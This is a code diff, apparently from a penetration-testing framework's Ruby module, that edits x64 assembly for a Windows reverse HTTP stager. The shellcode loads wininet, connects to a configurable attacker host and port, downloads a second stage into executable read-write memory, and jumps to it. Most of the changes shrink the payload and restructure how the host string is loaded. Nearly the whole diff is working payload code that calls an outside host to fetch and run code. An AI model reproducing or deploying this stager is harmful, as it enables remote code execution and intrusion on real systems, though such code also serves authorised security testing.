@@ -198,18 +198,18 @@ def asm_reverse_http(opts={})
198
198
end
199
199
200
200
asm = %Q^
201
+ xor rbx, rbx
201
202
load_wininet:
202
- push 0 ; stack alignment
203
+ push rbx ; stack alignment
203
204
mov r14, 'wininet'
204
205
push r14 ; Push 'wininet',0 onto the stack
205
- mov r14, rsp ; Save pointer to string
206
- mov rcx, r14 ; the name of the lib to load
206
+ mov rcx, rsp ; lpFileName (stackpointer)
207
207
mov r10, #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'LoadLibraryA' ) }
208
208
call rbp
209
209
210
210
internetopen:
211
- push 0 ; stack alignment
212
- push 0 ; NULL pointer
211
+ push rbx ; stack alignment
212
+ push rbx ; NULL pointer
213
213
mov rcx, rsp ; lpszAgent ("")
214
214
^
215
215
@@ -224,29 +224,30 @@ def asm_reverse_http(opts={})
224
224
^
225
225
else
226
226
asm << %Q^
227
- xor rdx, rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG)
227
+ push rbx
228
+ pop rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG)
228
229
xor r8, r8 ; lpszProxyName (NULL)
229
230
^
230
231
end
231
232
232
233
asm << %Q^
233
234
xor r9, r9 ; lpszProxyBypass (NULL)
234
- push rax ; stack alignment
235
- push 0 ; dwFlags (0)
235
+ push rbx ; stack alignment
236
+ push rbx ; dwFlags (0)
236
237
mov r10, #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetOpenA' ) }
237
238
call rbp
238
239
239
- jmp dbl_get_server_host
240
-
241
- internetconnect :
240
+ call load_server_host
241
+ db " #{ opts [ :host ] } ",0x0
242
+ load_server_host :
242
243
pop rdx ; lpszServerName
243
244
mov rcx, rax ; hInternet
244
245
mov r8, #{ opts [ :port ] } ; nServerPort
245
246
xor r9, r9 ; lpszUsername (NULL)
246
- push r9 ; dwContent (0)
247
- push r9 ; dwFlags (0)
247
+ push rbx ; dwContent (0)
248
+ push rbx ; dwFlags (0)
248
249
push 3 ; dwService (3=INTERNET_SERVICE_HTTP)
249
- push r9 ; lpszPassword (NULL)
250
+ push rbx ; lpszPassword (NULL)
250
251
mov r10, #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetConnectA' ) }
251
252
call rbp
252
253
^
@@ -299,14 +300,15 @@ def asm_reverse_http(opts={})
299
300
300
301
httpopenrequest:
301
302
mov rcx, rax ; hConnect
302
- xor rdx, rdx ; lpszVerb (NULL=GET)
303
+ push rbx
304
+ pop rdx ; lpszVerb (NULL=GET)
303
305
pop r8 ; lpszObjectName (URI)
304
306
xor r9, r9 ; lpszVersion (NULL)
305
- push rdx ; dwContext (0)
307
+ push rbx ; dwContext (0)
306
308
mov r10, #{ "0x%.8x" % http_open_flags } ; dwFlags
307
309
push r10
308
- push rdx ; lplpszAcceptType (NULL)
309
- push rdx ; lpszReferer (NULL)
310
+ push rbx ; lplpszAcceptType (NULL)
311
+ push rbx ; lpszReferer (NULL)
310
312
mov r10, #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'HttpOpenRequestA' ) }
311
313
call rbp
312
314
@@ -322,11 +324,13 @@ def asm_reverse_http(opts={})
322
324
asm << %Q^
323
325
internetsetoption:
324
326
mov rcx, rsi ; hInternet (request handle)
325
- mov rdx, 31 ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG)
326
- push 0 ; stack alignment
327
+ push 31
328
+ pop rdx ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG)
329
+ push rdx ; stack alignment
327
330
push #{ "0x%.8x" % set_option_flags } ; flags
328
331
mov r8, rsp ; lpBuffer (pointer to flags)
329
- mov r9, 4 ; dwBufferLength (4 = size of flags)
332
+ push 4
333
+ pop r9 ; dwBufferLength (4 = size of flags)
330
334
mov r10, #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetSetOptionA' ) }
331
335
call rbp
332
336
^
@@ -335,11 +339,12 @@ def asm_reverse_http(opts={})
335
339
asm << %Q^
336
340
httpsendrequest:
337
341
mov rcx, rsi ; hRequest (request handle)
338
- xor rdx, rdx ; lpszHeaders (NULL)
342
+ push rbx
343
+ pop rdx ; lpszHeaders (NULL)
339
344
xor r8, r8 ; dwHeadersLen (0)
340
345
xor r9, r9 ; lpszVersion (NULL)
341
- push rdx ; stack alignment
342
- push rdx ; dwOptionalLength (0)
346
+ push rbx ; stack alignment
347
+ push rbx ; dwOptionalLength (0)
343
348
mov r10, #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'HttpSendRequestA' ) }
344
349
call rbp
345
350
test eax, eax
@@ -350,9 +355,6 @@ def asm_reverse_http(opts={})
350
355
jz failure
351
356
jmp retryrequest
352
357
353
- dbl_get_server_host:
354
- jmp get_server_host
355
-
356
358
get_server_uri:
357
359
call httpopenrequest
358
360
@@ -368,18 +370,21 @@ def asm_reverse_http(opts={})
368
370
else
369
371
asm << %Q^
370
372
failure:
371
- push 0 ; stack alignment
373
+ push rbx ; stack alignment
372
374
push 0x56A2B5F0 ; hardcoded to exitprocess for size
373
375
call rbp
374
376
^
375
377
end
376
378
377
379
asm << %Q^
378
380
allocate_memory:
379
- xor rcx, rcx ; lpAddress (NULL)
380
- mov rdx, 0x00400000 ; dwSize (4 MB)
381
+ push rbx
382
+ pop rcx ; lpAddress (NULL)
383
+ push 0x40
384
+ pop rdx
385
+ mov r9, rdx ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
386
+ shl edx, 16 ; dwSize
381
387
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
382
- mov r9, 0x40 ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
383
388
mov r10, #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'VirtualAlloc' ) }
384
389
call rbp
385
390
@@ -404,20 +409,13 @@ def asm_reverse_http(opts={})
404
409
mov ax, word ptr [rdi] ; extract the read byte count
405
410
add rbx, rax ; buffer += bytes read
406
411
407
- test rax, rax ; are we done?
412
+ test eax, eax ; are we done?
408
413
jnz download_more ; keep going
409
414
pop rax ; clear up reserved space
410
415
pop rax ; realign again
411
416
412
417
execute_stage:
413
418
ret ; return to the stored stage address
414
-
415
- get_server_host:
416
- call internetconnect
417
-
418
- server_host:
419
- db "#{ opts [ :host ] } ",0x0
420
-
421
419
^
422
420
423
421
if opts [ :exitfunk ]
0 commit comments